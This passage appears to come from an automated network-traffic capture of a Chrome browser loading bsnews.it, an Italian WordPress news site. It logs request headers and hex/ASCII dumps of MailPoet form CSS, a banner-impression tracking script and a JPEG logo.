65 74 5f 64 61 74 65 5f 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 40 6d 65 64 69 61 20 Data Ascii: arsley-custom-error-message{color:#900}.mailpoet-form-errors{padding:0 16px}.mailpoet_text_label,.mailpoet_textarea_label,.mailpoet_select_label,.mailpoet_radio_label,.mailpoet_checkbox_label,.mailpoet_list_label,.mailpoet_date_label{display:block}@media
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 70 6f 65 74 5f 66 6f 72 6d 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 73 75 63 63 65 73 73 66 75 6c 6c 79 5f 73 65 6e 64 20 2e 6d 61 69 6c 70 6f 65 74 5f 76 61 6c 69 64 61 74 65 5f 73 75 63 63 65 73 73 7b 6c 65 66 74 3a 35 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 6f 70 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 7d 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 20 2e 6d 61 69 6c 70 6f 65 74 2d 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 70 61 64 64 69 6e 67 3a 31 2e 32 35 65 6d 20 32 2e 33 37 35 65 6d 7d 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 20 2e 6d 61 69 6c 70 6f 65 74 2d 68 61 73 2d 66 6f 6e 74 Data Ascii: poet_form.mailpoet_form_successfully_send .mailpoet_validate_success{left:50%;position:absolute;text-align:center;top:50%;transform:translate(-50%,-50%)}.mailpoet_form .mailpoet-has-background-color{padding:1.25em 2.375em}.mailpoet_form .mailpoet-has-font
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 76 20 69 66 72 61 6d 65 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 34 32 32 70 78 3b 77 69 64 74 68 3a 33 30 32 70 78 7d 2e 6d 61 69 6c 70 6f 65 74 5f 72 65 63 61 70 74 63 68 61 5f 6e 6f 73 63 72 69 70 74 5f 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 31 63 31 63 31 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 62 6f 74 74 6f 6d 3a 31 32 70 78 3b 68 65 69 67 68 74 3a 36 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 72 69 67 68 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 6d 61 69 6c 70 6f 65 74 5f 72 65 Data Ascii: v iframe{border-style:none;height:422px;width:302px}.mailpoet_recaptcha_noscript_input{background:#f9f9f9;border:1px solid #c1c1c1;border-radius:3px;border-style:none;bottom:12px;height:60px;left:25px;margin:0;padding:0;right:25px;width:300px}.mailpoet_re
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6c 75 6d 6e 73 20 28 77 69 64 74 68 20 3c 20 34 30 30 70 78 29 7b 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 63 6f 6c 75 6d 6e 73 2e 6d 61 69 6c 70 6f 65 74 5f 73 74 61 63 6b 5f 6f 6e 5f 6d 6f 62 69 6c 65 7b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 7d 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 63 6f 6c 75 6d 6e 73 2e 6d 61 69 6c 70 6f 65 74 5f 73 74 61 63 6b 5f 6f 6e 5f 6d 6f 62 69 6c 65 2e 6d 61 69 6c 70 6f 65 74 5f 63 6f 6c 75 6d 6e 5f 77 69 74 68 5f 62 61 63 6b 67 72 6f 75 6e 64 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 63 6f 6c 75 6d 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 2e 6d 61 69 6c 70 6f 65 74 5f 70 61 72 61 67 72 61 70 68 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e Data Ascii: lumns (width < 400px){.mailpoet_form_columns.mailpoet_stack_on_mobile{flex-wrap:wrap}.mailpoet_form_columns.mailpoet_stack_on_mobile.mailpoet_column_with_background.mailpoet_form_column:last-child.mailpoet_paragraph:last-child{margin-bottom:0!important}}.
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 72 74 61 6e 74 3b 6f 70 61 63 69 74 79 3a 2e 37 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 7d 64 69 76 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 70 6f 70 75 70 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 34 70 78 20 33 35 70 78 20 30 20 72 67 62 61 28 31 39 35 2c 36 35 2c 32 2c 2e 32 29 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 35 30 25 3b 6d 61 78 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 36 30 70 78 29 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 61 75 74 6f 3b 70 6f 73 69 74 69 Data Ascii: rtant;opacity:.7;position:fixed;top:0;width:100%!important;z-index:100000}div.mailpoet_form_popup{background-color:#fff;border-radius:10px;box-shadow:0 4px 35px 0 rgba(195,65,2,.2);display:none;left:50%;max-height:calc(100vh - 60px);overflow-y:auto;positi
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 76 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 70 6f 70 75 70 2e 61 63 74 69 76 65 2c 64 69 76 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 66 69 78 65 64 5f 62 61 72 2e 61 63 74 69 76 65 2c 64 69 76 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 73 6c 69 64 65 5f 69 6e 2e 61 63 74 69 76 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 29 7b 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 70 6f 70 75 70 5f 6f 76 65 72 6c 61 79 2e 61 63 74 69 76 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 7d 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 6d 61 67 65 2e 69 73 2d 73 74 79 6c 65 2d 72 6f 75 6e 64 65 64 20 69 6d 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 Data Ascii: v.mailpoet_form_popup.active,div.mailpoet_form_fixed_bar.active,div.mailpoet_form_slide_in.active{display:block}@media screen and (max-width:500px){.mailpoet_form_popup_overlay.active{display:none}}.mailpoet_form_image.is-style-rounded img{border-radius:9
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 69 6e 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 31 34 70 78 20 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 68 32 2e 6d 61 69 6c 70 6f 65 74 2d 68 65 61 64 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 7d 68 32 2e 6d 61 69 6c 70 6f 65 74 2d 68 65 61 64 69 6e 67 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 7d 2e 6d 61 69 6c 70 6f 65 74 2d 6d 61 6e 61 67 65 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 20 2e 6d 61 69 6c 70 6f 65 74 5f 74 65 78 74 5f 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 65 74 2d 6d 61 6e 61 67 65 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 20 2e 6d 61 69 6c 70 6f 65 74 5f 74 65 78 74 61 Data Ascii: ing{font-size:20px!important;line-height:1.4!important;margin:14px 0!important}}h2.mailpoet-heading:before{content:none}h2.mailpoet-heading:after{content:none}.mailpoet-manage-subscription .mailpoet_text_label,.mailpoet-manage-subscription .mailpoet_texta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49768	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	666	OUT	GET /wp-content/plugins/wp-bannerize-pro/public/js/wp-bannerize-impressions.min.js?ver=1.6.9 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	707	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Content-Length: 1004 Connection: close last-modified: Wed, 27 Jul 2022 18:33:27 GMT etag: "62e184f7-3ec" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4447 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JXE6nxNhrT4RjqjO%2BF8G8fOl0G%2B8QX2kv1qV3iquRwAzhmfLCif7DFFbGvf1bYTadOVN5upU7ZWbuQdzGdZT8TTQS2aiGQzRaFRf8FPwszHa44mbmJgYkV43604%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660421c5c0a8b-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	662	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 77 69 6e 64 6f 77 2e 57 50 42 61 6e 6e 65 72 69 7a 65 2e 47 65 6e 65 72 61 6c 2e 69 6d 70 72 65 73 73 69 6f 6e 73 5f 65 6e 61 62 6c 65 64 26 26 28 77 69 6e 64 6f 77 2e 57 50 42 61 6e 6e 65 72 69 7a 65 49 6d 70 72 65 73 73 69 6f 6e 73 3d 5b 5d 2c 61 28 27 64 69 76 5b 64 61 74 61 2d 69 6d 70 72 65 73 73 69 6f 6e 73 5f 65 6e 61 62 6c 65 64 3d 22 74 72 75 65 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 76 61 72 20 69 2c 65 3d 61 28 65 29 3b 65 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 30 3c 28 69 3d 65 2e 64 61 74 61 28 22 62 61 6e 6e 65 72 5f 69 64 22 29 29 26 26 28 63 6f 6e 73 6f 6c 65 2e Data Ascii: jQuery(function(a){"use strict";function n(){window.WPBannerize.General.impressions_enabled&&(window.WPBannerizeImpressions=[],a('div[data-impressions_enabled="true"]').each(function(n,e){var i,e=a(e);e.is(":visible")&&0<(i=e.data("banner_id"))&&(console.
2024-03-28 08:51:02 UTC	342	IN	Data Raw: 6e 28 6e 2c 65 29 7b 76 61 72 20 69 3b 61 28 65 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 28 69 3d 61 28 65 29 2e 64 61 74 61 28 22 62 61 6e 6e 65 72 5f 69 64 22 29 2c 61 28 65 29 2e 66 69 6e 64 28 22 61 22 29 2e 6f 66 66 28 22 63 6c 69 63 6b 22 29 2c 61 28 65 29 2e 66 69 6e 64 28 22 61 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 70 6f 73 74 28 61 6a 61 78 75 72 6c 2c 7b 61 63 74 69 6f 6e 3a 22 77 70 5f 62 61 6e 6e 65 72 69 7a 65 5f 61 64 64 5f 63 6c 69 63 6b 73 22 2c 62 61 6e 6e 65 72 5f 69 64 3a 69 2c 72 65 66 65 72 72 65 72 3a 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 7d 29 7d 29 29 7d 29 7d 61 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 22 Data Ascii: n(n,e){var i;a(e).is(":visible")&&(i=a(e).data("banner_id"),a(e).find("a").off("click"),a(e).find("a").on("click",function(){a.post(ajaxurl,{action:"wp_bannerize_add_clicks",banner_id:i,referrer:document.location.href},function(n){})}))})}a(document).on("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49779	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	382	OUT	GET /wp-content/uploads/2017/03/BSNEWS_orizzontale.jpg HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	709	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: image/jpeg Content-Length: 21791 Connection: close last-modified: Mon, 13 Dec 2021 15:34:06 GMT etag: "61b767ee-551f" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2312 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tGpUcoUKOuLA4ob9wCAp2UJ6s%2F1NTus%2BcBcJSD%2FJQhL%2FUw98WYpIPXGdr2UVZ%2BpBB%2BfWbd%2BcTYbzj%2B3fQhxOc8oQlLy8osvsvzb6ZDZRkruDNYAAgPQwyq8xcEg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604398ea3910-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	660	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c2 00 11 08 00 8f 02 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 03 01 00 03 01 01 00 00 00 00 00 00 00 00 00 00 07 08 06 03 04 05 02 01 ff c4 00 1b 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 05 03 04 06 07 02 01 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 aa 49 fc ac fa Data Ascii: JFIFCCD"I
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: fd 62 ea fb 4f 35 9d f1 de d8 12 53 9a 54 b7 47 15 1d 7c 71 63 84 c9 e5 dc e6 8f 39 47 2d 69 00 d9 97 e7 ea b5 a5 e2 cc a1 81 b0 a3 f5 7d 1f e6 9e 98 69 ef 50 b3 d4 cd 95 35 ec 4c d7 c7 c9 c6 9b ae 5c 5d fe 87 7d ff 00 12 42 a3 1e 48 a5 1d 4b ec f8 20 79 f6 7c 01 f6 7e 7e 9f 3d 4b 5a 14 af 6f 62 b6 33 6d 24 a3 b3 9f 9b b7 98 37 52 de 83 41 e5 f5 08 26 9c d5 fa 99 72 e2 cf 92 3f d7 c6 bd 3f 59 ad 3b 67 e3 de 2d 38 28 bd cf 0d 2f 60 a2 1c a9 47 5b 4e 6c bb 95 ad 99 86 ae 8b 08 05 1d b7 e5 77 22 f2 cc a2 e6 56 cd df 33 a6 e1 02 96 c0 00 3d 9f 47 28 7a af ab f8 cb 87 9e 5e 30 f3 65 95 4f 4b 34 d3 3e 71 e8 f8 9e d9 6f 33 0d 75 ea e9 e1 47 53 cc 72 f0 7d 40 eb 6b b9 48 92 ac aa 37 b0 d7 ab 61 05 b1 d2 c3 ee 2f e1 a5 dc e6 8f 38 b1 4d a4 03 66 52 7d 07 3d 7e ab Data Ascii: bO5STG\|qc9G-i}iP5L\]}BHK y\|~~=KZob3m$7RA&r??Y;g-8(/`G[Nlw"V3=G(z^0eOK4>qo3uGSr}@kH7a/8MfR}=~
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: f5 75 3d d5 d4 f7 57 53 dd 5d 4f 75 75 3d d5 d4 f7 53 3a 9f 62 19 9a 0a 27 77 a4 d6 77 04 5d d3 35 00 b4 9a b9 91 95 75 50 f1 3b 6b 1b 36 33 16 a2 b5 25 97 6b 1e 43 72 9a 53 3e 1d 9e c9 4d f8 a4 fa 5f 6a e9 7d a8 fe 0b 78 51 de 8c 77 09 a1 e1 9d 2f b5 64 98 6d 31 e8 0a b5 ec b5 8d 34 b5 e6 7a 5f 6a e9 7d ab a5 f6 ae 97 da ba 5f 6a e9 7d ab a5 f6 a2 9a 7b 68 d1 dd bf f1 83 a7 6d 10 85 d2 fb 51 cc 0b ca 05 ee 03 06 f3 b1 9d 2f b5 57 4c 29 4a 5d 6d 6c bb 6c 74 1d 72 02 3d 2f b5 74 be d4 5a 1d 83 89 2a 52 b7 5c 23 4f 26 4d b6 26 02 1e 35 2c c6 45 36 af c6 45 39 49 9a 7c 26 4d 0c 60 53 c6 d3 f1 56 9d ab 11 cc 1d 1a f5 2b db be 6d 96 dd 73 bf af 50 1c 82 4e 3f 20 69 16 4a c3 99 f0 ec f6 39 f7 3b 3a dd af 36 7c 3d c0 ca 6f a7 7f cd 2d 4a fa 25 7f b2 0f c2 f5 e5 Data Ascii: u=WS]Ouu=S:b'ww]5uP;k63%kCrS>M_j}xQw/dm14z_j}_j}{hmQ/WL)J]mlltr=/tZ*R\#O&M&5,E6E9I\|&M`SV+msPN? iJ9;:6\|=o-J%
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 4a ee 0e 5a 7f 2b 87 c8 d6 6a 37 cc 29 4a 76 29 0f db 19 87 9f ba 53 fb 45 c5 0b 4d 8f c9 46 d1 10 33 c4 37 bd 97 55 ab f0 6c a1 f2 57 ed 3d af 02 7e da 65 f4 fb be fd 91 59 36 47 cd 8b 2c 2a 3d 64 64 cb 53 63 d6 d9 ca 14 bb a0 4d 8b 29 b9 b1 f7 ca a6 d9 00 05 b4 ec a2 c4 18 ab 18 6d 9e c7 3e e7 6c e7 fa 8d b4 ec e7 88 ce fa 95 f4 4a ff 00 64 1f 84 b5 43 f7 f8 74 e2 77 80 5d 56 cb 6e b9 6a 3c af 18 e2 0f 2b 82 2c ae 6e db f6 cf 67 70 78 ee f8 34 8a 48 c6 56 62 2a e2 c0 bf 7e 8d 39 87 7b c6 d5 6b d8 a6 3d c4 4c d8 26 57 30 04 6e a4 94 5d 49 28 ae d4 72 d5 a1 33 f3 cc 6f a7 41 6b 1a 22 cc 43 54 c8 6d 80 65 33 31 f5 1b 52 06 b9 6f 50 42 a9 9a 97 09 bb 4d 1f 96 79 f4 38 7b 85 67 5e c5 91 46 59 ec 73 ee 76 ce 7f a8 da 1c c7 47 cb 16 45 a2 b0 36 d4 af a2 57 fb Data Ascii: JZ+j7)Jv)SEMF37UlW=~eY6G,=ddScM)m>lJdCtw]Vnj<+,ngpx4HVb~9{k=L&W0n]I(r3oAk"CTme31RoPBMy8{g^FYsvGE6W
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 87 2d c0 f6 97 1e e1 1a 5b 33 12 6a 64 ed 22 0a ac c1 49 e4 9a ee 3d c2 34 a6 65 a7 2d 93 b4 b1 39 57 84 d2 cd 0b 5e 92 ee 31 1a 6c 79 96 f0 0a b6 cc 52 2a 51 62 af 83 79 76 1f c4 46 a8 46 96 a3 4b 2a b4 fe 38 a4 56 e1 b0 79 36 e5 1f 70 ce 46 35 0c 46 ac c3 92 79 39 56 1f 7f e5 9f e8 76 a7 11 95 9b 6e 39 61 97 88 e5 78 27 fd 5f 30 db a8 75 39 6d 9d a4 2b f0 10 82 29 4d 95 9d bb c3 4d a9 d5 93 69 e7 31 12 23 70 9a 26 9b ff 00 22 4d 6e 24 65 64 69 51 f7 06 6b d0 de 56 49 da 9f 10 e3 68 79 06 85 95 a4 62 a9 0f 89 3c a6 ba ba bc 06 01 fe e2 e7 bb 3f 99 38 a8 b3 78 a4 8c 95 f4 55 f8 58 b0 87 d4 be 25 f5 14 af 5e 6b c7 12 fa 46 1a a7 4a 7d 04 e3 68 b4 8c 72 4c ef 66 39 26 77 b3 14 28 cf 45 65 69 79 36 1d a2 b2 c7 01 35 7d fa 76 fd c6 0d 3b 62 9c 67 e2 0d 44 92 Data Ascii: -[3jd"I=4e-9W^1lyRQbyvFFK8Vy6pF5Fy9Vvn9ax'_0u9m+)MMi1#p&"Mn$ediQkVIhyb<?8xUX%^kFJ}hrLf9&w(Eeiy65}v;bgD
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 48 72 43 dc 34 62 e7 e7 10 29 13 18 94 db ab 4e 82 3e d2 c4 aa 1c e3 33 3c 8b c8 72 14 fd 4b c8 72 14 fd 4b c8 72 14 fd 4b c8 51 69 f2 21 38 b5 3c 56 5a 58 ab 30 97 35 82 26 8b d2 23 0d d0 a6 e5 96 5a 74 78 96 2a bc 45 cc 8d 90 d9 7a 56 da 39 0a 76 a5 e4 1b 6c 9a 41 36 9e ac 53 a0 35 3d 19 2e 73 f5 18 91 42 98 c9 fa 05 94 5d db 87 10 96 5f d2 56 c3 0c d1 e6 bc 7d 0b 3c 74 0a 6d 29 b8 05 94 7a 57 db bb fe 43 2b 4a c1 45 68 a8 92 0e 43 3a 4c ca cd 3e 24 7f 41 9c 92 35 0a fd e3 39 24 6a 15 fb c6 72 48 d4 2b f7 8c e4 91 a8 57 ef 19 c9 23 50 af de 33 92 46 a1 5f bc 67 24 8d 42 bf 78 ce 49 1a 85 7e f1 9c 92 35 0a fd e3 39 24 6a 15 fb c6 72 48 d4 2b f7 8c e4 91 a8 57 ef 19 c9 23 50 af de 33 92 46 a1 5f bc 67 24 8d 42 bf 78 ce 49 1a 85 7e f1 9c 92 35 0a fd e3 39 Data Ascii: HrC4b)N>3<rKrKrKQi!8<VZX05&#Ztx*EzV9vlA6S5=.sB]_V}<tm)zWC+JEhC:L>$A59$jrH+W#P3F_g$BxI~59$jrH+W#P3F_g$BxI~59
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 5f 2a 13 33 e1 65 fa ac 22 e9 45 2c 26 10 e7 fa 82 85 e4 83 e4 e3 58 ab e5 46 b1 57 ca 8d 62 af 95 1a c5 5f 2a 35 8a be 54 6b 15 7c a8 d6 2a f9 51 33 35 e1 ca 5e 25 05 77 71 7a 62 bc d0 cc ca 30 8a ae ba 80 a1 e2 e3 58 ab e5 43 d3 68 9b 53 e5 a1 5b 85 14 cd 90 dc da a6 d4 c5 fa d1 21 15 8d 62 af 95 07 ff 00 22 af 95 0a 4a b3 29 24 83 69 96 c6 62 52 10 56 56 05 63 58 ab e5 46 b1 57 ca 89 89 56 dd c7 25 95 5d be 45 2a 76 d8 12 90 54 a3 98 24 69 30 1c 9c 73 c0 d0 7d 01 9d 7f b4 70 99 54 c2 b9 5d 54 66 c1 ec 7c 11 c2 90 63 e0 83 8b 42 e5 55 ca d2 a0 b9 2f fc eb 23 d5 14 58 ec fc 46 e5 27 1c 2e 49 a8 dd 4a d5 9c b7 fb 64 39 83 64 97 75 29 cc f3 a9 ff 00 a8 cb bc c9 bc c1 e3 b1 b1 5f bc 35 32 c2 af 36 b1 58 7f d8 3d d0 9e 88 6b ad 6f be d5 21 62 f2 14 28 41 87 Data Ascii: _3e"E,&XFWb_5Tk\|Q35^%wqzb0XChS[!b"J)$ibRVVcXFWV%]EvT$i0s}pT]Tf\|cBU/#XF'.IJd9du)_526X=ko!b(A
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 4b 27 dc 07 8a bb a3 fb 62 5d f1 f9 8d a5 5b a1 6d 9d 0a 04 43 8d 1d 2d a8 a2 27 26 4f e5 a0 36 3b 73 fd 2c 9b 7f 68 45 07 49 b5 2a 70 d2 5d e1 8b 70 f2 72 18 cd 6d 1f 97 6d e1 fa d3 58 25 0d 2e 59 5c ad 2a 91 59 59 e4 ab f4 bc 9f a8 82 5c 94 2e 20 7a 4c f0 ff 00 7f c4 4a 1f 52 a7 25 76 a5 66 aa 4f 41 86 e6 18 5d f6 96 2a 0d a1 ca e2 26 d2 28 97 40 d3 cc 60 e3 e5 94 a6 c7 e6 b5 c2 4e 55 f9 47 d4 cf 2a 7d 13 d2 23 14 e0 0c ce a0 54 a3 62 87 28 87 fd 83 dd 09 e8 86 ba d6 fb ed 9a f6 51 dd 01 2e 1a 4b 4c 51 0b e6 3b 0d 8f 4a bc 2a 87 13 4e 88 7a 59 e1 e3 5a 55 d3 f7 84 75 ab ef b1 be bd 36 2b a2 25 fa b4 f7 7e 02 fa 94 7d 6d 95 24 d1 0e f8 93 db a3 7d b3 8c 7f 49 c5 0e c8 91 67 68 68 57 a4 e7 87 1c 3a 10 92 a8 5b 87 4a d4 55 12 e3 6b 44 b5 ee 36 4e a2 94 0a Data Ascii: K'b][mC-'&O6;s,hEIp]prmmX%.Y\YY\. zLJR%vfOA]&(@`NUG}#Tb(Q.KLQ;J*NzYZUu6+%~}m$}IghhW:[JUkD6N
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: c4 10 45 14 34 83 a4 65 25 89 76 d4 f3 aa d0 94 c1 5b 94 72 71 ce 3a f9 39 84 3f ec 1e e8 4f 44 35 d6 b7 df 6c d7 b2 8e ec 83 83 dd 3e 25 fc ed f3 2f f7 b5 be bd 36 2b a2 25 fa b4 f7 7e 0e 10 eb d5 69 11 26 f5 6a ab 97 55 d2 33 58 f3 c7 42 10 55 05 47 4a 8d e3 6b 68 27 3b 2b 52 3e bf 5b 67 5f ad 53 8c b8 9e 81 9b 20 29 24 a5 40 d4 11 b2 11 2b 3c a0 d4 e6 80 a3 c5 73 f7 cb c6 cc 2f 3f a2 d8 e3 2a 15 32 fe 6d 88 40 d0 81 66 b0 77 e0 11 ac 1d f8 04 6b 07 7e 01 1a c1 df 80 46 b0 77 e0 11 ac 1d f8 04 78 c9 89 97 7f b8 08 bc c4 a2 2f fa ea e1 2b 7e 55 66 19 f1 bf d5 46 65 41 32 93 a9 58 d8 97 93 f5 11 9a 5d b7 3d 97 7e f1 e6 3f f2 a6 33 b4 d3 3e db 9f 68 06 76 70 91 ea 30 29 be 31 72 8c a5 a1 b4 ed 3d b6 3f ec 1e e8 4f 44 63 29 5b 8a 4a a9 cb 1e 60 df c6 63 cc Data Ascii: E4e%v[rq:9?OD5l>%/6+%~i&jU3XBUGJkh';+R>[g_S )$@+<s/?*2m@fwk~Fwx/+~UfFeA2X]=~?3>hvp0)1r=?ODc)[J`c
